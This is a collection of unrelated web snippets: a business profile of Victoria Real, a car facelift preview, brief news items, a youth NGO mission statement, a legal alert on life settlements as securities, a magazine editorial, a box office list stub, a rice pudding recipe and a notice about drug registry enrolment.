The company continued to grow successfully and organically over the next few years also building a reputation for website design and a variety of interactive media projects. Famous clients include Pepsi, Channel 4, BBC, BT, UEFA, The Guardian and the Scottish Parliament.
One of several awards was a British E-commerce award for its work with Iceland, which increased the value of its average customer basket by a significant amount. And all this in turn led to another defining moment for the founders:
"In 1997 we started to think: 'do we want this company to continue to grow as it is or do we need an extra stimuli?' It was a big decision to take on board a partnership but after a long process of thought we decided the deal with Endemol was the right move."
Dutch entertainment company Endemol took a 50% stake in the company in 2000, an alternative route to floating the company on the stock market.
At the same time came Victoria Real's best known – although not its biggest – website contract, for the first series of Big Brother in 2000. Over the 64 days of the show, it streamed 26 million live video feeds through the website giving fans constant access to the latest developments in the house.
The road to success hasn't been all smooth going, though, as Daws says,
"Very early on we felt close to failure. After just years of really hard work we then decided we needed to knuckle down even further or give up. We chose the former but still didn't earn a salary until year four.
"Without backing, we needed £200-£300,000 cash flow to pay the salaries to make the company grow – and therefore generate more money. The trouble is that getting funding for a middle market company like ours is difficult. It took a lot of hard work to get round this."
Part of the problem in the early days was that they were over ambitious thinking the company could be built in a shorter time that it could. "We took six years longer than our original estimate to achieve our goals."
But Victoria Real has always found looking to those who've been there and done that to be of great value. The company has 11 directors with a fair share of 'grey hair' including the famed Peter Bazalgette of Endemol. Daws maintains it is this help and support that has been a main source of inspiration and key to their success. This is therefore one of his top tips for small businesses hoping to follow in the footsteps of Victoria Real. "Speak to people with the best knowledge in your field, this will ultimately get you the best advice." As well as, "Be creative and don't be afraid of mistakes – mistakes are great just so long as you learn from them and don't make them twice."
And the future for Victoria Real? To be at the forefront of the move towards digital. "We have a great lead in a marketplace that's leading the world, just so long as we keep being creative and doing what we're doing."


Snapshot: Ford India is all set to launch the Endeavour facelift on February 22, 2019 in the country.
Ford India is all set to launch the Endeavour facelift on February 22, 2019 in the country. However, prior to official launch, the updated SUV has been spotted in flesh. The 2019 Ford Endeavour facelift would come with an array of cosmetic updates - both outside as well as inside the cabin, while retaining the same diesel powertrain. The company has initiated the dealer dispatch of the facelifted model and demo vehicles can be spotted at Ford dealerships across the nation, while bookings can be made at a token amount of Rs 1 Lakh.
Know Everything About 2019 Ford Endeavour Facelift!
Going by the images, the 2019 Endeavour facelift will flaunt a new chrome grille with projector headlamps and L-shaped LED daytime running lights (DRLs). The front bumper, as evident in images, gets a silver insert with fog lamps on both sides and a scuff plate. Speaking of the side profile, the facelifted SUV will have chrome surroundings near the ORVMs which come with integrated turn signals. It will ride on new dual-tone alloy wheels, while the door handles will also be finished in chrome with blackened B and C-pillars. Roof rails, roof spoiler and rear wiper will be offered as standard fitments. As for the rear-end of the SUV, the company is offering wraparound tail-lamp cluster with chrome lining on the tail gate. The rear bumper has a silver insert, which houses the rear fog lamps.
Inside the cabin, it is mostly identical to the ongoing model with the dual-tone dashboard and the touchscreen infotainment system in the middle. However, it is being learnt that this time around the new SUV can get an 8-way power adjustable front passenger seat feature. The engine start/stop button will be retained from the current model while instead of two USB ports that the current model has, the facelifted SUV will have just one power outlet. Mechanically, the 2019 Ford Endeavour facelift will be powered by the 3.2L diesel engine which will be linked to a 6-speed automatic transmission. The engine will churn out top power of 197bhp at 3000rpm and peak torque of 470Nm at 1750-2500rpm.


Seattle Mariners outfielder Greg Halman, 24, was found stabbed to death in his home country of the Netherlands, police said Monday. Investigators have arrested the player's 22-year-old brother, though no further details were available. Halman made his Major League Baseball debut in September 2010 and played in a total of 44 games.
"I resigned because of the events in Tahrir (Square), because of the political responsibility." - Justice Minister Mohamed Abdelaziz al-Juindy of Egypt. The entire Cabinet submitted its resignation Monday after protests against the military government. According to officials, 22 people have died during the recent protests.


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Working at the household level, we have a vision to reduce youth poverty by at least half in the coming decade, and thereby create a family-oriented, healthy, responsive and productive generation who can lead responsibly.
Working on the issue of peace, economic development, democracy, human rights and other socio-economic activities at the regional level.
Producing research on different youth issues, and offering consulting services (depending on the output of the research).
Facilitating groundwork for sharing activities.
Working on programs which help to reduce poverty by creating jobs and self supporting schemas.
Forming strong partnerships with donors and similar association to upgrade the overall capacity of youth and women through different trainings and workshops.
Lobbying the government, the public and other stakeholders to establish youth centers.
The self-esteem and ethical morality of youth are necessary in order for them to be responsible leaders.
A strong belief in self-organization through dedicating one's time and knowledge.
Equal rights of young men and young women to be participants and beneficiaries of the country's strategic development plan.
Active participation of youth in the country's democratic, good governance, and human right endeavors in terms of decision-making activities at all levels.
Fair collaboration and cooperation with similar organizations and civic societies.


On August 28, 2013, the Dallas Court of Appeals ruled that investments in life settlements sold by Life Partners, Inc. (Life Partners) are "investment contracts" and therefore subject to the Texas Securities Act (TSA). In doing so, the court departed from decisions of the Waco Court of Appeals and the D.C. Circuit, which have deemed such investments not subject to securities regulations.
In Arnold v. Life Partners, Inc., the plaintiffs, who invested in life settlements, alleged that Life Partners' life settlements were "investment contracts" and therefore securities requiring compliance with the TSA. Because Life Partners had not complied with the TSA, the plaintiffs argued they were entitled to rescission or damages. The Dallas Court of Appeals agreed.
The court applied a four-factor test in concluding that the settlements constituted securities. According to the court, a security transaction must exhibit: (1) an investment of money; (2) in a common enterprise; (3) with an expectation of profit; (4) solely from the efforts of others. In applying these four factors to the settlements at issue in Arnold, the court focused on the fourth factor – whether profits were acquired from the efforts of others.
The court recognized that other courts have deemed the profitability of the interests in life settlements as dependent on the insureds' mortality, not the efforts of others. But the court concluded otherwise and found that the profits depended on the efforts of Life Partners. The Arnold court noted Life Partners' control over and expertise in selecting policies, measuring life expectancies, determining prices, and overseeing the policies' in-force statuses. The court explained that "[t]he efforts of Life Partners are undeniably significant ones which affected the success or failure of the enterprise." Although the TSA excludes from the definition of "security" insurance policies issued by life insurance companies, the court stated there was "no evidence Life Partners was such a company" – even if the products at issue were insurance policies. The court further noted decisions in Arizona, Colorado, Indiana, Georgia, and the Eleventh Circuit as interpreting securities laws to include life settlements.
Leslie J. Coletti, law clerk at Drinker Biddle & Reath, also contributed to this alert.


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The Sindhian - Apr-Jun 2018
Our community is made up of a vibrant mix of women, and several times each year we celebrate days devoted to them – like Mother's Day, Women's Day, Daughter's Day and so on. This time around, we thought it fitting to dedicate this issue to Sindhi women who are not only an integral part of every family, but also actively partake in all kinds of businesses and professions – from being doctors, engineers, entrepreneurs, politicians, farmers, bankers, and chefs to anything else that you could probably think of. This issue celebrates 'being a woman'. Girls, this one's for you.
Speaking of inspiring women, on the cover, we have the fearless Nazo Dharejo from Sindh, Pakistan. When we first heard about Nazo, the woman who fought against 200 armed men in the dead of the night to claim her right over her family land, we realised that we had gained access to one of the most powerful tales of valour in recent times. Her story however, stretches beyond geographical limits, to touch upon subjects like political clout, corruption, patriarchy, inequality and women's rights. On the upside, it's also a tale about love, respect, parenthood, and of course, heroism.
And in keeping with the theme, The Sindhian has been busy interviewing some really wonderful women in a variety of roles, living around the world. For the first time you might see a Sindhi woman bodybuilder, Kanchi Advani, who won the all India title in March. Deepti Sadhwani made a career out of emcee-ing and will feature in her first film this year! Zumba instructor Kiran Kotwani explains to us how it changed her life. Chef Dhwani Agarwal shares her story of spreading happiness through food. Author and life coach Goldie Uttamchandani told us how she guides today's youth through the challenges of growing up in a multi-cultural environment. And while the Khemlani sisters from London told us about their foray into the world of fashion, Bhavana Motwani spoke about battling standardised fits with bespoke design and e-tailoring services for women in India.
We talked to artisanal lifestyle brand owner Minash Bablani about how her products were simplifying the lives of women on the go. Neha Changwani, a young interior designer with a passion for all things beautiful, spoke to us about her creative endeavours. Dubai-based yoga practitioner Payal Khanwani found the right balance in life and is on her way to helping others achieve it too. Resham Samtani spoke her mind about empowering women with a specially crafted series of confidence building and public speaking workshops. Hairstylist and hair expert, Ritu Gehani shared her start-up story and love for all natural ingredients. Roma Narsinghani's cutting-edge metal jewelry impressed us, and singer/songwriter Anushka Shahaney's soulful voice told us that she was only just getting started!
So, join us this quarter as we celebrate all the wonderful women shattering glass ceilings everywhere. More power to you!


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This is a list of films which placed number one at the weekly box office in the United States during 1968 per Variety's weekly National boxoffice survey. The results are based on a sample of 20-25 key cities and therefore, any box office amounts quoted may not be the total that the film grossed nationally in the week.

Number-one films

See also
 List of American films — American films by year
 Lists of box office number-one films

References

Chronology

1968
1968 in American cinema
1968-related lists


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A delicious old fashioned dessert from my favorite vintage church cookbook that's also great with strawberries, cherries, blackberries or raspberries!
Who loves old church cookbooks??
Me! And I'm sure many of you do too!
I swear they have the best tried and true recipes and if you can decipher the language and certain ingredients that were used, the recipe is sure to be tasty!
I've been going through all my favorite church cookbooks lately and cataloging recipes digitally on a secret board on Pinterest and came across this delicious dessert!
I have to confess. Gertrude isn't actually my Granny, but someone's Granny I'm sure. I just couldn't help but to name the recipe after her since it was hers originally!
This recipe reminds me of my Mom and I'm using one of my late Grandmother's gold forks in the photo! So it's all tied together with Grandma's and Granny's and their love for cooking and baking!
My all time favorite rice pudding recipe can be found here! That is my Mom's recipe I grew up eating and my daughter now loves it too!
This new recipe packed full of fresh blueberries is a close second to that one. Each bite is perfect with the sweet and creamy custard, along with the pop of the juicy blueberries!
We will be making this again and again at our house. I can't wait to experiment and try it with different berries!
Not only do I have this wonderful recipe for you today, but I also have 5 other Granny recipes from my blogging buddies!
You can find their recipe links below!
If you liked this recipe, give these dessert recipes a try: Chocolate Chip Croissant Bread Pudding, Baked Sticky Rhubarb Pudding, No Bake Creamy Strawberry Pie, Butterscotch Coffee Cake, Caramel Toffee Pecan Brownie Bites, or Cream Puffs with Mascarpone Cream!
Looking for more blueberry recipes? Check out these: Strawberry and Blueberry Coffee Cake, Blueberry Rhubarb Sorbet, Blueberry and Wild Rice Breakfast Bowl, Buttermilk Banana and Blueberry Quick Bread, or Blueberry Pie Bars!
Cook rice in salted water according to package directions. Drain and rinse. Set aside.
Preheat oven to 350 degrees and grease a 2 quart glass baking dish.
Beat the eggs, sugar and vanilla with a whisk in a large bowl until combined.
Stir in the rice and gently stir in the blueberries.
Pour into the baking dish and bake for 1 hour and 15 minutes or until set.
This sure takes me back! Nothing like a delicious rice pudding.
Two of my favorite things... rice pudding AND blueberries! Love this combination! Thanks for sharing this yummy recipe.
I love those old cookbooks as well. A great source of inspiration and a wonderful way to mix up dinner time. Or, in this case dessert! This looks amazing!
This looks wonderful and the idea of adding blueberries is pure genius!
I love the addition of blueberries! They add such a pop of flavor & color!


You can now register patients with RA starting, or switching to, a number of new products including Olumiant (baricitinib), Kevzara (sarilumab), Rixathon (rituximab), Erelzi (etanercept) and Xeljanz (tofacitinib).
Updated eligibility table, checklist, re-registration guide and recruitment posters are in the process of being sent out to centres, so keep an eye out for this information in the post. Alongside this documents are being circulated electronically (where possible) and of course being made available on our WEBSITE.
Full details of relevant approvals for these new drugs have previously been circulated and can also be found HERE.
If you can't find the answer to your questions about recruitment on our website please contact the office and we will do our best to help you.